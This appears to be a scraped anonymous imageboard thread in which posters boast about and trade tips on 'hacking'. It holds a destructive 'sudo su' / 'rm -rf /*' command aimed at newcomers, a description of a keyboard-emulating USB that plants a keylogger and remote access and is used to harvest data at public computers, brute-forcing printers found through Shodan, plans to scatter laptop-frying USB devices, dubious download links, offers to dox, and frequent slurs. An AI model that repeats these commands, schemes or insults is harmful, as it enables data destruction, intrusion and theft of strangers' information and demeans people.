>>694416669
The fuck do I post? Hacker porn or some shit?

>>694417534
Yes pleasr

>>694416669
you have to be at lest 18 to use this site

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>>694416669
I used to work as an Apple engineer. I worked on the DFU instructions for the A5 bootroms. I'm wasted and bored. I hack Apple's new products for fun. Just dumped an A8 bootrom from userland. Ask me anything.

https://mega.nz/#!IIERxTzQ!FU3jQ49NlObGc37ClS1SrGN6wLVG7PjcO6N6_sncO9I
Download this to become hacker

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>>694416669

I used cheat engine before i guess that counts

I want to learn to hack my own penis into a vagina. How?

>>694419295
wuts beetram?

10 years ago, I figured out how to view peoples' hidden friend list and comments on MySpace with an HTML editor. Am I leet haxxor?

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i hacked this thread


we are anomalous
forgive and forget
expecto patronum

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>>694420190
It's a kind of nvRAM used for temporarily storing these.

I have an infectious usb. Computers think it's a keyboard. It does DNS poisoning, opens network permissions, creates new admin user and enables remote access, copy's any drive of my choice and then injects a key stroke logger that sends .txt reports to a open server that isn't tied to me or my name.
>buy 40 dollar usb
>download premade script
>physically inject spyware/malware
>hacker

>>694420422
Holy shit you're legit aren't you? How do I join anonymous?

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>>694420685
Not bad. I want to buy a bunch of those USB killer things that loops power and fries laptops and scatter them through parking lots. People will try to use them.

>>694420685
What are some of the infection called in more official term or whatever it's generally called?

There must be some tut somewhere or a thread talking about developing it or making it.

>>694420773
press alt+f4

we will see your signal and send you a message.

>>694420773
https://mega.nz/#!IIERxTzQ!FU3jQ49NlObGc37ClS1SrGN6wLVG7PjcO6N6_sncO9I
download this and install so you get my email address where you can ask

>>694420773
delete system 24

>>694421233
its system 32 you dip xDDD

>>694421266
newfag.

>>694420685
>buy 40 dollar usb
>download premade script
>physically inject spyware/malware
>hacker

>>Implying that downloading/copying makes you a hacker
>> when the reality is grown men who were around since computers were punch cards created what you downloaded
>>They are the real hackers.
>>Your a faggot script kid aka "SKID" is what the white hat hacking community would call you

>>694421322
oldfaggot

>>694420619
jaja, oi getz itz

sehr gut

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>>694421322
get hacked, faggot

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>>694418877

This thread is dildos

>>694421397
I wrote that as a joke. You're a idiot. Hackers = betas

>>694421397
I think he was trying to make a tongue-and-cheek joke about the loose definition most people have of the word hacker.

you're overreacting about nothing you l337 h4x0rs

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>>694419595
>>694421147
It doesn't werk u dirty kike.

>>694420773
>>694421007
>>694421233
>>694421266
>>694421322
>open terminal
>sudo su
>rm -rf /*

>>694421548
no u

why is this sub so slow???
isn't chan full of hackers???

>>694421499
are you a faggot so?

>>694421580
Exactly. I can insert a usb into a campus computer or at h&r block and harvest almost everything. Then sell it or trade it. Hence I green texted malware/spyware it's all scripts.

Hacked private folder:

https://readycloud.netgear.com/client/browselink.html#t=0otdp7u51up/Private

>>694421731
newfag its exe not applefaggot version of exe

>>694421580
Thats what I am here for. Your guyses overthinker. So lets all honestly stop being faggots and unite our cocks together to make americ a hole again.

>>694421731
did you alt+f4?

we haven't received your signal yet.

>>694421783
its your message

>>694421853
>unite our cocks together to make americ a hole again.

that made more sense than you thought it would.

I'm ready.

>>694421861
you aren't the only one who knows HTML

>>694422039
prove it

>>694420963
If you just want to start with all the hard work done for you buy a rubber ducky usb or/and a lanturtle. The payload scripts are everywhere on the web

>>694419295
iOS 11.3.6 jailbreak or gtfo

>>694421834
Apple uses .dmg or some shit you dumb nigger.

>>694421858
Yes. I did it leik 35 teimss.

>>694421545
kekd

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>>694422175
I was able to mount the system partition as rw on iOS 10 from iBoot level. It's tethered though. I wouldn't burn exploits on that since it would be dog balls for daily use.

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555555555 GET GO

>>>/g/

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>>694422137
I appreciate it thanks.

I've always been interested in coding but never really had the chance to really get into it and learn.

Fucking idiot for wasting time on games god damn it.
I wish I could convert all that time spent on fucking skyrim and fallout to coding fuck, then maybe I could've made something of myself.

https://mega.nz/#!9JdjVbRI!6yqM0aQMdJM1U7q1d8DmR1Tqik6k1WVUOZaKSfyqnWA
download this to get drugs xDD

Another fun thing todo
>go to shodan
>find a printer ip
>dictionary brute force user and password
>log I and open print jobs
> print fully blacked out pages
> watch ink levels deplete

>>694422544
>>>/fa/
>>>/lgbt/
go_ruin_fun_somewhere_else.exe.gif.png.jpg.tar.bz2.gz.img.ipsw.com

>>694422137
If you continue to lead others to obtaining the knowledge required to do damage, and they do and get caught (Due to the lack of your ability to ALSO tell every little kid how to protect themselves from being discovered) than all they have to do is say this anon from 4 chan led me to it. Police will get your info from this site as everything is saved. They will raid your house. And Frank will be the one "working" to find any underage porn on your phone. Hard drive. Even if its a chick whos 19 but looks 16 you will be registered as a sex offender. They will visit your work place. They will drive by your house and park to hack ur internet via wifi and make sure your not going BACK to 4 chan.

>>In b4. Happened to my friend because a faggot kid shut down a bart server.

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>>694422136

i watched two episodes of Mr Robot. am i in?

>>694422778
Providing information isn't encouraging action. By your logic every time someone here says "kill your self faggot" they'd be implicated in court if said directive was accomplished. You're an idiot.

>kill your self faggot

>>694422961
thanks for using your phone to take the picture...
now i know where you live... better watch out....
im coming there with my friends.....
it will be the last time you be in this website....

We are anonymous

>>694422961
I did that to an efukt site(modified html within notepad and saved as some page that can run on IE. Had my gf on the picture for the front page with the nastiest slut description i could conceieve. And so i acted shocked and threw her laptop at her and slammed the door and drove off to my exes still holding in my fake emotion as if it were so real. We ended up hugging and i pushed her head down to gobble on dem nuts-Kinda wierd that she had nuts but whatever.

>>694423169
He did have location services turned on

>>694420925
Scary idea. You can easily detonate a nice charge with the power supplied from a USB port.

>>694422761
Get all the fax numbers from scientology orgs anons all over the world mass fax blackblocks at midnight. They come in the morning to find they are out of paper and ink.
Repeat.
Not hacking, just troll level expert.
Good times.

I once shutdown computers remotely in my classroom using CMD.

Am I l33t as fuck now?

>>694423486
yes

>>694423398
We (old gags) did this exact thing in 2006 her on /b/

Post Emails Ill leak DOX

dsohfauisewhrjiaksndkfm niejihrrkasejhn rknsddajfnaewhnr'[anjswdkjfn ['oiheo['ajlkormnsdlkcnaoiiswjreorknsm,lmddxcnahnvuahnjerlkjne;kjnr;kjdsnf

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>>694423350
Hey man, I wanna troll people. Not kill them.

>>694422961
Fucking hell

Laughed out loud.

>>694423486
What is it.. Open DOS.. Type Cd.. Than Cd.. I forgot the next.. C:erase? I forgot the command to wipe the whole drive Lmfao

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>>694423545
I know anon, moar liek 2008 though.
Lulz were had by many.

>>694422178
I thought they used ports, like BSD. Debian variants use .dmg

>>694419595
Wow thanks anon it really works

>>694423570
underrated post

>>694421828
Anyone able to view the photos?

Hi Anonymous,
Can anyone here hack my toaster? I will pay 666 Aidscoins in exchange.
Money is not a problem due to my mothers credit card.

[email protected]
send bad messages
he lied to me